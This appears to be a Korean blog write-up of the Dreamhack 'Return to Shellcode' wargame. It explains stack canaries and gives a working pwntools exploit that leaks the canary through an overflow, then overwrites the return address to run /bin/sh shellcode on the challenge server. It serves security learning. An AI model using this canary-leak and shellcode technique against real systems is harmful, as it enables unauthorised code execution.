스택 카나리는 스택 버퍼 오버플로우로부터 반환 주소 ret를 보호하는 기법이다.
이렇게 버퍼와 ret 사이에 임의의 값을 삽입해서 해당 값의 변조가 확인되면 프로세스를 종료시키는 보호 기법이다.
카나리는 TLS(Thread Local Storage)에 저장되기 때문에 TLS의 주소를 알고 값을 읽으면 카나리 검사를 우회가능하다.
리눅스에서 카나리를 저장하는 주소는 fs+0x28이다.
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x50];
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
Return to Shellcode 문제의 코드이다.
buf의 크기는 0x50바이트인데 read 함수에서 0x100바이트까지 입력받고 있고 gets함수에는 입력 크기 제한이 없기 때문에 오버플로우를 2번 발생시킬 수 있다.
우선 카나리부터 찾기 위해서 스택 구조를 파악해야 한다.
코드에서 buf의 주소와 buf와 rbp사이의 거리를 출력해준다. 이 값을 pwntools를 이용해 받아오겠다.
from pwn import *
p = remote('host3.dreamhack.games', 15450)
p.recvuntil('buf: ')
buf = int(p.recvline()[:-1], 16)
p.recvuntil('rbp: ')
dist = int(p.recv(2))
print(buf, dist)
이렇게 할 수 있다.
64bit운영체제여서 sfp가 8바이트 있기 때문에 카나리까지의 거리는 8바이트를 빼줘야 한다.
카나리 앞에 있는 null문자를 오버플로우로 덮어씌우면 null이 나올때까지 출력하는 print함수에 의해 카나리를 볼 수 있다.
from pwn import *
p = remote('host3.dreamhack.games', 15450)
p.recvuntil('buf: ')
buf = int(p.recvline()[:-1], 16)
p.recvuntil('rbp: ')
dist = int(p.recv(2)) - 8
p.recvuntil('Input: ')
payload = b"a"*(dist+1)
p.send(payload)
p.recvuntil(payload)
canary = u64(b'\x00'+p.recv(7))
print(hex(canary))
카나리를 구했으면 두번째 입력에서 오버플로우를 발생시키면 된다.
셸 코드를 buf에 넣고, ret주소에서 buf의 주소로 덮어씌우면 된다.
shellcode = asm(shellcraft.sh())
payload2 = shellcode.ljust(dist, b"A") + p64(canary) + b"A"*8 + p64(buf)
p.sendlineafter('Input: ',payload2)
p.interactive()
shellcraft.sh()는 bin/sh를 실행시키는 셸코드이다.
ljust 함수는 첫번째 인자 dist 길이로 문자열을 2번째 인자 A문자로 채워서 맞춰준다.
그 뒤에 카나리를 추가해주고 sfp 8바이트를 채우고 buf의 주소를 바이트로 보내주면 된다.
근데 이 코드를 윈도우 환경에서 실행시키면 shellcraft.sh()에서 에러가 발생한다.
binutils라는 패키지가 없어서 그런데 윈도우에서는 MSYS2라는걸 설치해서 뭔가 복잡한 과정을 거쳐야 한다.
그래서 그냥 wsl로 리눅스 환경에서 파이썬 코드를 실행시켜서 성공했다.
'포너블' 카테고리의 다른 글
드림핵 ssp_000 롸업 (0) | 2024.04.06 |
---|---|
드림핵 ssp_001 롸업 (0) | 2024.03.12 |
드림핵 basic_exploitation_001 롸업 (1) | 2024.03.06 |
드림핵 basic_exploitation_000 롸업 (0) | 2024.03.04 |
Stack Buffer Overflow & Return Address Overwrite 롸업 (0) | 2024.02.03 |